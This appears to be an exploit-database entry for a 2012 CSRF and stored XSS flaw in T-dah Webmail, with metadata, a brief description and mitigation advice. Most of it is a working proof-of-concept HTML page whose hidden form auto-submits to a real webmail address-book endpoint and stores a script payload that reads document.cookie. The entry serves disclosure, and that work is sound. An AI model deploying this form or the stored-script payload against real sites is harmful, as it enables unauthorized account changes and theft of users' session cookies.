T-dah Webmail CSRF & Stored XSS

vendor:

Webmail

by:

Pr0T3cT10n AKA Yakir Wizman

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF) & Stored Cross-Site Scripting (XSS)

352

CWE

Product Name: Webmail

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

T-dah Webmail CSRF & Stored XSS

T-dah Webmail is vulnerable to Cross-Site Request Forgery (CSRF) and Stored Cross-Site Scripting (XSS). An attacker can exploit this vulnerability by crafting a malicious HTML page that contains a form with hidden fields. When a victim visits the malicious page, the form is automatically submitted and the attacker can inject malicious JavaScript code into the application. This code will be executed when a victim visits the application.

Mitigation:

The application should validate all input and encode all output to prevent Cross-Site Scripting (XSS) attacks. Additionally, the application should implement anti-CSRF tokens to prevent Cross-Site Request Forgery (CSRF) attacks.

Source

Exploit-DB raw data:

# -----------------------------------------------------------
#			   _____ _ _            _      _ 
#			  / ____(_) |          | |    | |
#			 | |     _| |_ __ _  __| | ___| |
#			 | |    | | __/ _` |/ _` |/ _ \ |
#			 | |____| | || (_| | (_| |  __/ |
#			  \_____|_|\__\__,_|\__,_|\___|_|
#			  
# -----------------------------------------------------------
# T-dah Webmail CSRF & Stored XSS
# Bug discovered by Pr0T3cT10n AKA Yakir Wizman, <yakir.wizman@gmail.com>
# Date 17/08/2012
# Download - http://sourceforge.net/projects/t-dahmail/files/latest/download?utm_expid=6384-3&utm_referrer=http%3A%2F%2Fsourceforge.net%2Fprojects%2Ft-dahmail%2F
# ISRAEL
# -----------------------------------------------------------
#		Author will be not responsible for any damage.
# -----------------------------------------------------------
# PoC EXPLOIT
# -----------------------------------------------------------
<html>
	<head>
		<title>Tdah Webmail - CSRF & XSS Attack</title>
	</head>
<body>
	<form name="csrf" method="post" action="http://mail.tdah.us/addressbook.php"> 
		<input type="hidden" name="lid"  value="English" />
		<input type="hidden" name="tid"  value="default" />
		<input type="hidden" name="id"  value="" />
		<input type="hidden" name="opt"  value="add" />
		<input type="hidden" name="name"  value="<script>alert(document.cookie);</script>" />
		<input type="hidden" name="email"  value="test@test.com" />
		<input type="hidden" name="cell"  value="" />
		<input type="hidden" name="phone"  value="" />
		<input type="hidden" name="street"  value="" />
		<input type="hidden" name="apt"  value="" />
		<input type="hidden" name="city"  value="" />
		<input type="hidden" name="state"  value="" />
		<input type="hidden" name="zip"  value="" />
		<input type="hidden" name="country"  value="" />
		<input type="hidden" name="work"  value="" />
		<input type="hidden" name="wemail"  value="" />
		<input type="hidden" name="wphone"  value="" />
		<input type="hidden" name="wfax"  value="" />
		<input type="hidden" name="wstreet"  value="" />
		<input type="hidden" name="wcity"  value="" />
		<input type="hidden" name="wstate"  value="" />
		<input type="hidden" name="wzip"  value="" />
		<input type="hidden" name="aemail"  value="" />
		<input type="hidden" name="bday"  value="" />
		<input type="hidden" name="anniv"  value="" />
		<input type="hidden" name="aim"  value="" />
		<input type="hidden" name="icq"  value="" />
		<input type="hidden" name="msn"  value="" />
		<input type="hidden" name="yahoo"  value="" />
		<input type="hidden" name="google"  value="" />
		<input type="hidden" name="website"  value="" />
		<input type="hidden" name="picturename"  value="" />
		<input type="hidden" name="picturepath"  value="" />
		<input type="hidden" name="textnotes"  value="" />
	</form>
	<script type="text/javascript">
		document.csrf.submit();
	</script>
</body>
</html>
# -----------------------------------------------------------